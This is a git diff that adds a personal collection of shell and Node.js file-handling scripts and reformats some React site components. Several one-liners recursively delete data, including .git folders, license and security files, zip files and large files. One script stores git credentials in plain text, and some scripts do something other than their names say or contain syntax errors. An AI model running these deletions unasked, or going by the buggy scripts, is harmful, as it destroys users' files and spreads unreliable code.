+	console.log('total time:', (new Date()) - startTime)
+
+	const memoryUsedMb = process.memoryUsage().heapUsed / 1024 / 1024
+	console.log('the program used', memoryUsedMb, 'MB')
+})
\ No newline at end of file
diff --git a/scripts/Recursively-remove-files-byname.sh b/scripts/Recursively-remove-files-byname.sh
new file mode 100644
index 0000000000..a615e2abef
--- /dev/null
+++ b/scripts/Recursively-remove-files-byname.sh
@@ -0,0 +1 @@
+find . -name cookies.txt -type f -exec rm -rf {} \;
\ No newline at end of file
diff --git a/scripts/Recursively-remove-folders-byname.sh b/scripts/Recursively-remove-folders-byname.sh
new file mode 100644
index 0000000000..e0e7622e8e
--- /dev/null
+++ b/scripts/Recursively-remove-folders-byname.sh
@@ -0,0 +1 @@
+find . -type f -exec sed -i '/badFolder/d' ./* {} \;
\ No newline at end of file
diff --git a/scripts/Recusrive-npm-install.sh b/scripts/Recusrive-npm-install.sh
new file mode 100644
index 0000000000..f5b3dc86f1
--- /dev/null
+++ b/scripts/Recusrive-npm-install.sh
@@ -0,0 +1,5 @@
+npm i -g recursive-install
+
+
+
+npm-recursive-install
\ No newline at end of file
diff --git a/scripts/Remove-script-tags-from-html.sh b/scripts/Remove-script-tags-from-html.sh
new file mode 100644
index 0000000000..59ea163371
--- /dev/null
+++ b/scripts/Remove-script-tags-from-html.sh
@@ -0,0 +1 @@
+sed -n -e '/<script>/,/<\/script>/p' example.html >out.js
\ No newline at end of file
diff --git a/scripts/Resursivleydeletenodemodules.sh b/scripts/Resursivleydeletenodemodules.sh
new file mode 100644
index 0000000000..b0b9206809
--- /dev/null
+++ b/scripts/Resursivleydeletenodemodules.sh
@@ -0,0 +1 @@
+find . -name 'node_modules' -type d -prune -exec rm -rf '{}' +
\ No newline at end of file
diff --git a/scripts/Sanatize-directory.sh b/scripts/Sanatize-directory.sh
new file mode 100644
index 0000000000..ad8947341d
--- /dev/null
+++ b/scripts/Sanatize-directory.sh
@@ -0,0 +1,21 @@
+sanitize() {
+  shopt -s extglob;
+
+  filename=$(basename "$1")
+  directory=$(dirname "$1")
+
+  filename_clean=$(echo "$filename" | sed -e 's/[\\/:\*\?"<>\|\x01-\x1F\x7F]//g' -e 's/^\(nul\|prn\|con\|lpt[0-9]\|com[0-9]\|aux\)\(\.\|$\)//i' -e 's/^\.*$//' -e 's/^$/NONAME/')
+
+  if (test "$filename" != "$filename_clean")
+  then
+    mv -v "$1" "$directory/$filename_clean"
+  fi
+}
+
+export -f sanitize
+
+sanitize_dir() {
+  find "$1" -depth -exec bash -c 'sanitize "$0"' {} \;
+}
+
+sanitize_dir '/path/to/somewhere'
\ No newline at end of file
diff --git a/scripts/Windows-WSL-Postgres-terminal-prompt-command.sh b/scripts/Windows-WSL-Postgres-terminal-prompt-command.sh
new file mode 100644
index 0000000000..ba638031ef
--- /dev/null
+++ b/scripts/Windows-WSL-Postgres-terminal-prompt-command.sh
@@ -0,0 +1,12 @@
+sudo -u postgres psql
+
+
+
+
+# 13:05:50|bryan@LAPTOP-9LGJ3JGS:[~] ~_exitstatus:2[__________________________________________________________o>
+
+# sudo -u postgres psql
+# psql (12.6 (Ubuntu 12.6-0ubuntu0.20.04.1))
+# Type "help" for help.
+
+# postgres=#
diff --git a/scripts/add-extension-to-files-in-folder.sh b/scripts/add-extension-to-files-in-folder.sh
new file mode 100644
index 0000000000..c90ff16c3f
--- /dev/null
+++ b/scripts/add-extension-to-files-in-folder.sh
@@ -0,0 +1,3 @@
+for f in * ; do 
+  mv "$f" "$f.html"
+done
\ No newline at end of file
diff --git a/scripts/add-text-2-end-of-file.sh b/scripts/add-text-2-end-of-file.sh
new file mode 100644
index 0000000000..115cbc09ef
--- /dev/null
+++ b/scripts/add-text-2-end-of-file.sh
@@ -0,0 +1 @@
+echo "</body></html>" | tee -a *.html
\ No newline at end of file
diff --git a/scripts/appendir.js b/scripts/appendir.js
new file mode 100644
index 0000000000..d0d44d5cbf
--- /dev/null
+++ b/scripts/appendir.js
@@ -0,0 +1,8 @@
+/* Combining all the files in the directory into one file. */
+const fs = require("fs");
+let cat = require("child_process")
+let combine = cat.execSync("cat *").toString("UTF-8");
+console.log(combine)
+fs.writeFile(`output.md`, combine, (err) => {
+    if (err) throw err;
+});
\ No newline at end of file
diff --git a/scripts/batch-download-videos.sh b/scripts/batch-download-videos.sh
new file mode 100644
index 0000000000..06c958e441
--- /dev/null
+++ b/scripts/batch-download-videos.sh
@@ -0,0 +1,17 @@
+  #!/bin/bash 
+
+ 
+link="#insert url here#" 
+#links were a set of strings with just the index of the video as the variable 
+ 
+num=3  
+#first video was numbered 3 - weird.  
+ 
+ext=".mp4" 
+ 
+while [ $num -le 66 ] 
+do 
+      wget $link$num$ext -P ~/Downloads/ 
+      num=$(($num+1)) 
+done 
+  
\ No newline at end of file
diff --git a/scripts/change-file-extensions.sh b/scripts/change-file-extensions.sh
new file mode 100644
index 0000000000..e4368937fc
--- /dev/null
+++ b/scripts/change-file-extensions.sh
@@ -0,0 +1,10 @@
+sudo apt install rename
+
+
+rename 's/\.txt$/.doc/' *.txt
+
+
+
+# Recursive:
+
+find . -name "*.\.js\.download" -exec rename 's/\.js\.download$/.js/' '{}' +
\ No newline at end of file
diff --git a/scripts/clone-folder-structure-populate-with-specific-file-type.sh b/scripts/clone-folder-structure-populate-with-specific-file-type.sh
new file mode 100644
index 0000000000..b52b0df1d0
--- /dev/null
+++ b/scripts/clone-folder-structure-populate-with-specific-file-type.sh
@@ -0,0 +1 @@
+find . -name '*.md' | cpio -pdm './../Markdown'
\ No newline at end of file
diff --git a/scripts/clone-folder-structure-without-files.sh b/scripts/clone-folder-structure-without-files.sh
new file mode 100644
index 0000000000..3e24e911cf
--- /dev/null
+++ b/scripts/clone-folder-structure-without-files.sh
@@ -0,0 +1,5 @@
+sudo apt install rsync
+
+
+
+rsync -a -f"+ */" -f"- *" source/ destination/
\ No newline at end of file
diff --git a/scripts/concatinate-all-html-files.sh b/scripts/concatinate-all-html-files.sh
new file mode 100644
index 0000000000..5793a7cfa1
--- /dev/null
+++ b/scripts/concatinate-all-html-files.sh
@@ -0,0 +1 @@
+cat *.html > example.html
\ No newline at end of file
diff --git a/scripts/concatinate-markdown-files-to-single-html.sh b/scripts/concatinate-markdown-files-to-single-html.sh
new file mode 100644
index 0000000000..dc28746f4f
--- /dev/null
+++ b/scripts/concatinate-markdown-files-to-single-html.sh
@@ -0,0 +1,4 @@
+sudo apt install pandoc
+
+
+pandoc *.md> -o _example.html
\ No newline at end of file
diff --git a/scripts/convert-2-atag.js b/scripts/convert-2-atag.js
new file mode 100644
index 0000000000..6fd7f156c5
--- /dev/null
+++ b/scripts/convert-2-atag.js
@@ -0,0 +1,31 @@
+let arr1 = [
+  'http://www.w3schools.com/jsref/met_form_submit.asp',
+  'http://www.w3schools.com/jsref/event_form_onreset.asp',
+  'http://www.w3schools.com/jsref/event_form_onsubmit.asp',
+  'http://www.w3schools.com/jsref/prop_img_align.asp',
+  'http://www.w3schools.com/jsref/prop_img_alt.asp',
+];
+const fs = require ('fs');
+
+function tagify (arr) {
+  let tagsArr = [];
+  for (let i = 0; i < arr.length; i++) {
+    let curPath = arr[i];
+    let tag =
+      '<div class="btn"><a class="btn" href="' +
+      `${curPath}` +
+      `"` +
+      `>${curPath.slice (0, 1) + curPath.slice (6)}</a></div>`;
+    console.log (tag);
+    tagsArr.push (tag);
+    tagsArr.push ('\n');
+    var tagStr = tagsArr.join ('');
+    console.log ('tagStr: ', tagStr);
+  }
+  return tagStr;
+}
+let data = tagify (arr1);
+fs.writeFile ('output.txt', data, err => {
+  // In case of a error throw err.
+  if (err) throw err;
+});
diff --git a/scripts/convert-html-2-md.sh b/scripts/convert-html-2-md.sh
new file mode 100644
index 0000000000..6b34863a5a
--- /dev/null
+++ b/scripts/convert-html-2-md.sh
@@ -0,0 +1,5 @@
+sudo apt install pandoc 
+
+
+
+find ./ -iname "*.html" -type f -exec sh -c 'pandoc "${0}" -o "${0%.html}.md"' {} \;
\ No newline at end of file
diff --git a/scripts/convert-markdown-2-html.sh b/scripts/convert-markdown-2-html.sh
new file mode 100644
index 0000000000..1c9d8db03d
--- /dev/null
+++ b/scripts/convert-markdown-2-html.sh
@@ -0,0 +1,20 @@
+sudo apt install pandoc
+
+
+
+find ./ -iname "*.md" -type f -exec sh -c 'pandoc "${0}" -o "${0%.md}.html"' {} \;
+
+
+for f in *.html; do printf '%s\n' 0a '<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1.0">
+  <title>Document</title>
+
+<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
+<link rel="stylesheet" href="./prism.css">
+<script async defer src="./prism.js"></script>
+</head>
+<body>;' . x | ex "$f"; done
+echo "</body></html>" | tee -a *.html
\ No newline at end of file
diff --git a/scripts/create-dir.js b/scripts/create-dir.js
new file mode 100644
index 0000000000..b677a9a6f4
--- /dev/null
+++ b/scripts/create-dir.js
@@ -0,0 +1,10 @@
+const fs = require('fs')
+
+fs.mkdir('./newdir', err => {
+	if (err) {
+		console.error(err)
+		return
+	}
+
+	console.log('directory created')
+})
\ No newline at end of file
diff --git a/scripts/create-dummy-text-file-4-every-subfolder.sh b/scripts/create-dummy-text-file-4-every-subfolder.sh
new file mode 100644
index 0000000000..301631f2f3
--- /dev/null
+++ b/scripts/create-dummy-text-file-4-every-subfolder.sh
@@ -0,0 +1,6 @@
+for x in "./"/*/; do
+  (cd "$x"
+   files=(*)
+   printf '%s\n' "${files[@]}" > deleteme.txt
+  )
+done
\ No newline at end of file
diff --git a/scripts/delete-files-bigger-than.sh b/scripts/delete-files-bigger-than.sh
new file mode 100644
index 0000000000..33a9507442
--- /dev/null
+++ b/scripts/delete-files-bigger-than.sh
@@ -0,0 +1 @@
+find . -size +75M -a -print -a -exec rm -f {} \;
\ No newline at end of file
diff --git a/scripts/delete-git-files.sh b/scripts/delete-git-files.sh
new file mode 100644
index 0000000000..8d5cbdf725
--- /dev/null
+++ b/scripts/delete-git-files.sh
@@ -0,0 +1 @@
+find . \( -name ".git" -o -name ".gitignore" -o -name ".gitmodules" -o -name ".gitattributes" \) -exec rm -rf -- {} +
\ No newline at end of file
diff --git a/scripts/delete-zip.sh b/scripts/delete-zip.sh
new file mode 100644
index 0000000000..d2e0d59451
--- /dev/null
+++ b/scripts/delete-zip.sh
@@ -0,0 +1,8 @@
+
+# check what you are about to delete before deleting:
+
+find . -name "*.zip" -type f -print
+
+#Delete:
+
+find . -name "*.zip" -type f -print -delete
\ No newline at end of file
diff --git a/scripts/dir-stream.js b/scripts/dir-stream.js
new file mode 100644
index 0000000000..b6a0d148e7
--- /dev/null
+++ b/scripts/dir-stream.js
@@ -0,0 +1,42 @@
+const fs = require('fs')
+
+// The async `opendir` method creates a stream from the directory
+// passed as its first argument. The stream is present in the callback
+fs.opendir('./', (err, dir) => {
+
+	if (err) {
+		// log and return if theres any error
+		console.error(err)
+		return
+	}
+
+	// A scoped function is defined that reads the next
+	// file in the directory and calls itself recursively
+	const readNext = (dir) => {
+		// The `read` method gives us information on the
+		// next file in the directory. If there are no
+		// more files left, the value of `file` is null
+		dir.read((err, file) => {
+			if (err) {
+				// log and return error
+				console.error(err)
+				return
+			}
+
+			// If file is null, we are done. 
+			if (file === null) {
+				return
+			}
+
+			// If the file exists, log the name, along with
+			// the icon for its type
+			const type = file.isDirectory() ? '📂' : '📄'
+			console.log(type, file.name)
+			// Recursively call `readNext` for the next directory entry
+			readNext(dir)
+		})
+	}
+
+	// Call the `readNext` function with the first directory entry
+	readNext(dir)
+})
\ No newline at end of file
diff --git a/scripts/generate-directory-index.html-from-files-in-working-directory.sh b/scripts/generate-directory-index.html-from-files-in-working-directory.sh
new file mode 100644
index 0000000000..7299fcc3d4
--- /dev/null
+++ b/scripts/generate-directory-index.html-from-files-in-working-directory.sh
@@ -0,0 +1,94 @@
+#!/bin/sh
+
+# find ./ | grep -i "\.*$" >files
+find ./ | sed -E -e 's/([^ ]+[ ]+){8}//' | grep -i "\.*$">files
+listing="files"
+
+out=""
+
+html="index.html"
+out="basename $out.html"
+html="index.html"
+cmd() {
+
+  echo '  <!DOCTYPE html>'
+  echo '<html>'
+  echo '<head>'
+
+  echo '  <meta http-equiv="Content-Type" content="text/html">'
+
+  echo '  <meta name="Author" content="Bryan Guner">'
+  echo '<link rel="stylesheet" href="./assets/prism.css">'
+  echo ' <link rel="stylesheet" href="./assets/style.css">'
+  echo ' <script async defer src="./assets/prism.js"></script>'
+
+  echo "  <title> directory </title>"
+
+  echo ""
+  echo '<style>'
+
+
+echo '    a {'
+echo '      color: black;'
+echo '    }'
+echo ''
+echo '    li {'
+echo '      border: 1px solid black !important;'
+echo '      font-size: 20px;'
+echo '      letter-spacing: 0px;'
+echo '      font-weight: 700;'
+echo '      line-height: 16px;'
+echo '      text-decoration: none !important;'
+echo '      text-transform: uppercase;'
+echo '      background: #194ccdaf !important;'
+echo '      color: black !important;'
+echo '      border: none;'
+echo '      cursor: pointer;'
+echo '      justify-content: center;'
+echo '      padding: 30px 60px;'
+echo '      height: 48px;'
+echo '      text-align: center;'
+echo '      white-space: normal;'
+echo '      border-radius: 10px;'
+echo '      min-width: 45em;'
+echo '      padding: 1.2em 1em 0;'
+echo '      box-shadow: 0 0 5px;'
+echo '      margin: 1em;'
+echo '      display: grid;'
+echo '      -webkit-border-radius: 10px;'
+echo '      -moz-border-radius: 10px;'
+echo '      -ms-border-radius: 10px;'
+echo '      -o-border-radius: 10px;'
+echo '    }'
+echo '  </style>'
+  echo '</head>'
+
+  echo '<body>'
+
+  echo ""
+
+  #################### continue with the HTML stuff:
+
+  echo ""
+
+  echo ""
+
+  echo "<ul>"
+
+  awk '{print "<li><a href=\""$1"\">",$1,"&nbsp;</a></li>"}' $listing
+
+  # awk '{print "<li>"};
+
+  # 	{print " <a href=\""$1"\">",$1,"</a></li>&nbsp;"}' \ $listing
+
+  echo ""
+
+  echo "</ul>"
+
+  echo "</body>"
+
+  echo "</html>"
+
+}
+
+cmd $listing --sort=extension >>$html
\ No newline at end of file
diff --git a/scripts/get-links-from-webpage.sh b/scripts/get-links-from-webpage.sh
new file mode 100644
index 0000000000..5ecbd911ab
--- /dev/null
+++ b/scripts/get-links-from-webpage.sh
@@ -0,0 +1,11 @@
+
+
+lynx -dump https://distrokid.com/hyperfollow/mihirbeg/getting-there | awk '/http/{print $2}' > links2.txt
+
+
+
+## OR--------------------------------------------------------------------------------
+wget -qO- www.instagram.com/mihirbeg/ |
+grep -Eoi '<a [^>]+>' | 
+grep -Eo 'href="[^\"]+"' | 
+grep -Eo '(http|https)://[^/"]+'>output.md
\ No newline at end of file
diff --git a/scripts/gistfile1.txt b/scripts/gistfile1.txt
new file mode 100644
index 0000000000..e21728b47e
--- /dev/null
+++ b/scripts/gistfile1.txt
@@ -0,0 +1,5 @@
+sudo apt install uniq
+
+
+
+uniq -u input.txt output.txt
diff --git a/scripts/git-filter-branch.sh b/scripts/git-filter-branch.sh
new file mode 100644
index 0000000000..0b5a280063
--- /dev/null
+++ b/scripts/git-filter-branch.sh
@@ -0,0 +1 @@
+git filter-branch --index-filter 'git rm -r --cached --ignore-unmatch assets/_website-components/0-DOJO/widgets-master/output/info/stats.json' HEAD
diff --git a/scripts/isDir.js b/scripts/isDir.js
new file mode 100644
index 0000000000..c2076d0855
--- /dev/null
+++ b/scripts/isDir.js
@@ -0,0 +1,15 @@
+const fs = require('fs')
+
+fs.readdir('./', { withFileTypes: true }, (err, files) => {
+	if (err) {
+		console.error(err)
+		return
+	}
+
+	console.log('files: ')
+	files.forEach(file => {
+		// the `isDirectory` method returns true if the entry is a directory
+		const type = file.isDirectory() ? '📂' : '📄'
+		console.log(type, file.name)
+	})
+})
\ No newline at end of file
diff --git a/scripts/list-html-files.sh b/scripts/list-html-files.sh
new file mode 100644
index 0000000000..9173f0d6ee
--- /dev/null
+++ b/scripts/list-html-files.sh
@@ -0,0 +1 @@
+find ./ | grep -i "\.html*$"
\ No newline at end of file
diff --git a/scripts/print-file-paths-recursive.sh b/scripts/print-file-paths-recursive.sh
new file mode 100644
index 0000000000..800dbf8b65
--- /dev/null
+++ b/scripts/print-file-paths-recursive.sh
@@ -0,0 +1,5 @@
+
+ls -R './' | awk '
+/:$/&&f{s=$0;f=0}
+/:$/&&!f{sub(/:$/,"");s=$0;f=1;next}
+NF&&f{ print s"/"$0 }'>listing.md
\ No newline at end of file
diff --git a/scripts/readStream.js b/scripts/readStream.js
new file mode 100644
index 0000000000..4346a5ac17
--- /dev/null
+++ b/scripts/readStream.js
@@ -0,0 +1,37 @@
+const fs = require('fs')
+// Initialize the time at which the program started
+const startTime = new Date()
+
+// create a read stream from the `words.txt` file
+const rStream = fs.createReadStream('words.txt')
+
+// initialize total word count
+let total = 0
+
+// the `on data` method registers a handler for everytime we
+// receive new data from the file stream
+rStream.on('data', b => {
+	// `b` here is the chunk of data received from the
+	// file stream
+	const bStr = b.toString()
+	// We split the string by spaces and new lines and add it to the
+	// total -- we subtract one because of the extra space/newline/broken word
+	// at the end of the chunk
+	// we shouldn't do this for the last chunk of data, which we handle later
+	total += bStr.split(/[\s\n]+/).length - 1
+})
+
+rStream.on('end', () => {
+	// Finally, the `on end` handler is called once the data stream completes
+
+	// we add one to the total, because we shouldn't subtract 1 from the last
+	// chunk of data in the `data` handler, for which we're compensating here
+	console.log('total words:', total + 1)
+
+
+	// Print the total time taken, as well as the total used program memory
+	console.log('total time:', (new Date()) - startTime)
+
+	const memoryUsedMb = process.memoryUsage().heapUsed / 1024 / 1024
+	console.log('the program used', memoryUsedMb, 'MB')
+})
\ No newline at end of file
diff --git a/scripts/reading-dir.js b/scripts/reading-dir.js
new file mode 100644
index 0000000000..abdc09b6ea
--- /dev/null
+++ b/scripts/reading-dir.js
@@ -0,0 +1,10 @@
+const fs = require('fs')
+
+fs.readdir('./', (err, files) => {
+	if (err) {
+		console.error(err)
+		return
+	}
+
+	console.log('files: ', files)
+})
\ No newline at end of file
diff --git a/scripts/recursive-action.sh b/scripts/recursive-action.sh
new file mode 100644
index 0000000000..69544c3510
--- /dev/null
+++ b/scripts/recursive-action.sh
@@ -0,0 +1,20 @@
+function RecurseDirs ()
+{
+    oldIFS=$IFS
+    IFS=$'\n'
+    for f in "$@"
+    do
+  
+  # YOUR CODE HERE!
+find . -type f -exec sed -n -e '/```javascript/,/```/p' *.html >out.js ./* {} \;
+  
+  
+        if [[ -d "${f}" ]]; then
+            cd "${f}"
+            RecurseDirs $(ls -1 ".")
+            cd ..
+        fi
+    done
+    IFS=$oldIFS
+}
+RecurseDirs "./"
\ No newline at end of file
diff --git a/scripts/recursive-remove-lines-contaning-string.sh b/scripts/recursive-remove-lines-contaning-string.sh
new file mode 100644
index 0000000000..b8b72b04ac
--- /dev/null
+++ b/scripts/recursive-remove-lines-contaning-string.sh
@@ -0,0 +1,2 @@
+find . -type f -exec sed -i '/badText/d' ./*.html {} \; 
+# Recursivley remove from all html files any lines contaning the string "badText"
\ No newline at end of file
diff --git a/scripts/recursive-unzip.sh b/scripts/recursive-unzip.sh
new file mode 100644
index 0000000000..9d4bc02803
--- /dev/null
+++ b/scripts/recursive-unzip.sh
@@ -0,0 +1,9 @@
+#install unzip:
+sudo apt install unzip
+
+# recursivley unzip all zip files into a folder by the same name:
+find . -name "*.zip" | while read filename; do unzip -o -d "`dirname "$filename"`" "$filename"; done;
+
+
+# recursivley delete .zip files when done:
+find . -name "*.zip" -type f -print -delete
\ No newline at end of file
diff --git a/scripts/recursivley-create-numbered-folders.sh b/scripts/recursivley-create-numbered-folders.sh
new file mode 100644
index 0000000000..687fa82029
--- /dev/null
+++ b/scripts/recursivley-create-numbered-folders.sh
@@ -0,0 +1,6 @@
+n=1;
+max=50;
+while [ "$n" -le "$max" ]; do
+  mkdir "s$n"
+  n=`expr "$n" + 1`;
+done
\ No newline at end of file
diff --git a/scripts/remember-git-credentials.sh b/scripts/remember-git-credentials.sh
new file mode 100644
index 0000000000..5209c324b9
--- /dev/null
+++ b/scripts/remember-git-credentials.sh
@@ -0,0 +1 @@
+   git config --global credential.helper store
\ No newline at end of file
diff --git a/scripts/remove-dir.js b/scripts/remove-dir.js
new file mode 100644
index 0000000000..ba2ca6a442
--- /dev/null
+++ b/scripts/remove-dir.js
@@ -0,0 +1,10 @@
+const fs = require('fs')
+
+fs.rmdir('./newdir', err => {
+	if (err) {
+		console.error(err)
+		return
+	}
+
+	console.log('directory deleted')
+})
\ No newline at end of file
diff --git a/scripts/remove-invalid-characters-from-file-names.sh b/scripts/remove-invalid-characters-from-file-names.sh
new file mode 100644
index 0000000000..2b7d77743e
--- /dev/null
+++ b/scripts/remove-invalid-characters-from-file-names.sh
@@ -0,0 +1 @@
+for f in */; do nf=$(echo "$f" |sed -e 's/[^A-Za-z0-9.]/./g' -e 's/\.\.\././g' -e 's/\.\././g' -e 's/\.*$//'); test "$f" != "$nf" && mv "$f" "$nf" && echo "$nf"; done
\ No newline at end of file
diff --git a/scripts/remove-lines-contaning-string.sh b/scripts/remove-lines-contaning-string.sh
new file mode 100644
index 0000000000..09920c0ab5
--- /dev/null
+++ b/scripts/remove-lines-contaning-string.sh
@@ -0,0 +1,13 @@
+sed -i '/target-string/d' ./js-in-one-page.html
+
+
+
+# examples:
+sed -i '/\.git/d' ./index.html
+
+# Recursive
+
+
+find . -type f -a \( -name "*.html" -o -name "*.js" -o -name "*.css" -o -name "*.md" \) -a -exec sed -i  '/BADSTRING/d' '{}' +
+
+find . -name "*" -type f | xargs sed -i -e '/Mirrored from/d'
\ No newline at end of file
diff --git a/scripts/remove-space-from-filenames.sh b/scripts/remove-space-from-filenames.sh
new file mode 100644
index 0000000000..01605467dc
--- /dev/null
+++ b/scripts/remove-space-from-filenames.sh
@@ -0,0 +1 @@
+   for file in *; do mv "$file" `echo $file | tr ' ' '_'` ; done
\ No newline at end of file
diff --git a/scripts/remove-string-from-file-names.sh b/scripts/remove-string-from-file-names.sh
new file mode 100644
index 0000000000..dc24b904ee
--- /dev/null
+++ b/scripts/remove-string-from-file-names.sh
@@ -0,0 +1 @@
+for filename in *badString*; do mv "$filename" "${filename//badstring/replaceString}"; done
\ No newline at end of file
diff --git a/scripts/remove-trailing-whitespace-from-file-names.sh b/scripts/remove-trailing-whitespace-from-file-names.sh
new file mode 100644
index 0000000000..efea7a915f
--- /dev/null
+++ b/scripts/remove-trailing-whitespace-from-file-names.sh
@@ -0,0 +1 @@
+rename  's/ *$//' *
\ No newline at end of file
diff --git a/scripts/remove-unnecessary-files-folders.sh b/scripts/remove-unnecessary-files-folders.sh
new file mode 100644
index 0000000000..05b1c3b661
--- /dev/null
+++ b/scripts/remove-unnecessary-files-folders.sh
@@ -0,0 +1,16 @@
+# recursivley remove empty files
+find . -empty -type f -print -delete
+
+
+
+# recursivley remove empty folders
+find . -empty -type d -print -delete
+
+
+# recursively remove .git folder, .gitignore file and .gitmodules file and .gitattributes file
+find . \( -name ".git" -o -name ".gitignore" -o -name ".gitmodules" -o -name ".gitattributes" \) -exec rm -rf -- {} +
+
+
+
+# Recursivley remove security, release, changelog, License & contributing files
+find . \( -name "*SECURITY.txt" -o -name "*RELEASE.txt" -o  -name "*CHANGELOG.txt" -o -name "*LICENSE.txt" -o -name "*CONTRIBUTING.txt" -name "*HISTORY.md" -o -name "*LICENSE" -o -name "*SECURITY.md" -o -name "*RELEASE.md" -o  -name "*CHANGELOG.md" -o -name "*LICENSE.md" -o -name "*CODE_OF_CONDUCT.md" -o -name "*CONTRIBUTING.md" \) -exec rm -rf -- {} +
diff --git a/scripts/write-stream.js b/scripts/write-stream.js
new file mode 100644
index 0000000000..b0e63e4a93
--- /dev/null
+++ b/scripts/write-stream.js
@@ -0,0 +1,43 @@
+const fs = require('fs')
+
+class Fibonacci {
+	// The Fibonacci class has the previous number and current
+	// number as its instance attributes
+	constructor() {
+		this.prev = 0
+		this.current = 1
+	}
+
+	// the next method returns the current value, and
+	// increments the current value by adding the past value to it
+	next() {
+		const current = this.current
+		this.prev = current
+		this.current = current + this.prev
+		return current
+	}
+}
+
+// Iniitalize a writeStream to a a new file "fibonacci.txt"
+const writeStream = fs.createWriteStream('fibonacci.txt')
+
+// the on ready callback gets called once the file is available to write
+writeStream.on('ready', () => {
+	// initialize a new object of the Fibonacci class
+	const f = new Fibonacci()
+
+	// For each iteration, obtain the next number in the sequence 
+	// and write to the file, adding a newline each time
+	for (let i = 0; i < 1000; i++) {
+		const n = f.next()
+		writeStream.write(String(n) + '\n', err => {
+			// if there is any error in writing, log it
+			if (err) {
+				console.error('error writing:', err)
+			}
+		})
+	}
+
+	// The `end` method closes the write stream, once we're done
+	writeStream.end()
+})
\ No newline at end of file
diff --git a/src/components/ActionLink.js b/src/components/ActionLink.js
index 8224d9458d..5f808d1b8e 100644
--- a/src/components/ActionLink.js
+++ b/src/components/ActionLink.js
@@ -1,31 +1,24 @@
-import _ from 'lodash';
+/* This class is a React component that renders a link to a URL, with optional styling and attributes. */
 import React from 'react';
-import { classNames, Link, withPrefix } from '../utils';
+import _ from 'lodash';
+
+import {Link, withPrefix, classNames} from '../utils';
 import Icon from './Icon';
+
 export default class ActionLink extends React.Component {
     render() {
         let action = _.get(this.props, 'action', null);
         return (
-            <Link
-                to={withPrefix(_.get(action, 'url', null))}
-                {...(_.get(action, 'new_window', null) ? { target: '_blank' } : null)}
-                {...(_.get(action, 'new_window', null) || _.get(action, 'no_follow', null)
-                    ? { rel: (_.get(action, 'new_window', null) ? 'noopener ' : '') + (_.get(action, 'no_follow', null) ? 'nofollow' : '') }
-                    : null)}
-                className={classNames({
-                    button: _.get(action, 'style', null) !== 'link',
-                    'button-secondary': _.get(action, 'style', null) === 'secondary',
-                    'button-icon': _.get(action, 'style', null) === 'icon'
-                })}
-            >
-                {_.get(action, 'style', null) === 'icon' && _.get(action, 'icon_class', null) ? (
-                    <React.Fragment>
-                        <Icon {...this.props} icon={_.get(action, 'icon_class', null)} />
-                        <span className="screen-reader-text">{_.get(action, 'label', null)}</span>
-                    </React.Fragment>
-                ) : (
-                    _.get(action, 'label', null)
-                )}
+            <Link to={withPrefix(_.get(action, 'url', null))}
+              {...(_.get(action, 'new_window', null) ? ({target: '_blank'}) : null)}
+              {...((_.get(action, 'new_window', null) || _.get(action, 'no_follow', null)) ? ({rel: (_.get(action, 'new_window', null) ? ('noopener ') : '') + (_.get(action, 'no_follow', null) ? ('nofollow') : '')}) : null)}
+              className={classNames({'button': _.get(action, 'style', null) !== 'link', 'button-secondary': _.get(action, 'style', null) === 'secondary', 'button-icon': _.get(action, 'style', null) === 'icon'})}>
+              {((_.get(action, 'style', null) === 'icon') && _.get(action, 'icon_class', null)) ? (<React.Fragment>
+                <Icon {...this.props} icon={_.get(action, 'icon_class', null)} />
+                <span className="screen-reader-text">{_.get(action, 'label', null)}</span>
+              </React.Fragment>) : 
+                _.get(action, 'label', null)
+              }
             </Link>
         );
     }
diff --git a/src/components/CtaButtons.js b/src/components/CtaButtons.js
index bb1b03723f..3c6681f879 100644
--- a/src/components/CtaButtons.js
+++ b/src/components/CtaButtons.js
@@ -1,24 +1,19 @@
-import _ from 'lodash';
+/* It's a React component that renders a button or a link. */
 import React from 'react';
-import { classNames, Link, withPrefix } from '../utils';
+import _ from 'lodash';
+
+import {Link, withPrefix, classNames} from '../utils';
+
 export default class CtaButtons extends React.Component {
     render() {
         let actions = _.get(this.props, 'actions', null);
-        return _.map(actions, (action, action_idx) => (
-            <Link
-                key={action_idx}
-                to={withPrefix(_.get(action, 'url', null))}
-                {...(_.get(action, 'new_window', null) ? { target: '_blank' } : null)}
-                {...(_.get(action, 'new_window', null) || _.get(action, 'no_follow', null)
-                    ? { rel: (_.get(action, 'new_window', null) ? 'noopener ' : '') + (_.get(action, 'no_follow', null) ? 'nofollow' : '') }
-                    : null)}
-                className={classNames({
-                    button: _.get(action, 'style', null) === 'primary' || _.get(action, 'style', null) === 'secondary',
-                    'button-secondary': _.get(action, 'style', null) === 'secondary'
-                })}
-            >
-                {_.get(action, 'label', null)}
-            </Link>
-        ));
+        return (
+            _.map(actions, (action, action_idx) => (
+            <Link key={action_idx} to={withPrefix(_.get(action, 'url', null))}
+              {...(_.get(action, 'new_window', null) ? ({target: '_blank'}) : null)}
+              {...((_.get(action, 'new_window', null) || _.get(action, 'no_follow', null)) ? ({rel: (_.get(action, 'new_window', null) ? ('noopener ') : '') + (_.get(action, 'no_follow', null) ? ('nofollow') : '')}) : null)}
+              className={classNames({'button': (_.get(action, 'style', null) === 'primary') || (_.get(action, 'style', null) === 'secondary'), 'button-secondary': _.get(action, 'style', null) === 'secondary'})}>{_.get(action, 'label', null)}</Link>
+            ))
+        );
     }
 }
diff --git a/src/components/DocsMenu.js b/src/components/DocsMenu.js
index 5c8ebd1616..ec33f8e4df 100644
--- a/src/components/DocsMenu.js
+++ b/src/components/DocsMenu.js
@@ -1,67 +1,46 @@
-
+/* It's a React component that renders a menu of links to pages in a Hugo site. */
 import React from 'react';
 import _ from 'lodash';
-import { classNames, getPage, getPages, Link, pathJoin, withPrefix } from '../utils';
+
+import {getPage, classNames, Link, withPrefix, pathJoin, getPages} from '../utils';
 import DocsSubmenu from './DocsSubmenu';
+
 export default class DocsMenu extends React.Component {
     render() {
         let site = _.get(this.props, 'site', null);
-        let page = _.get( this.props, 'page', null );
-        let rootPath = 'data.doc_sections.root_docs_path';
-        let root_docs_path = _.get( site,rootPath, null );
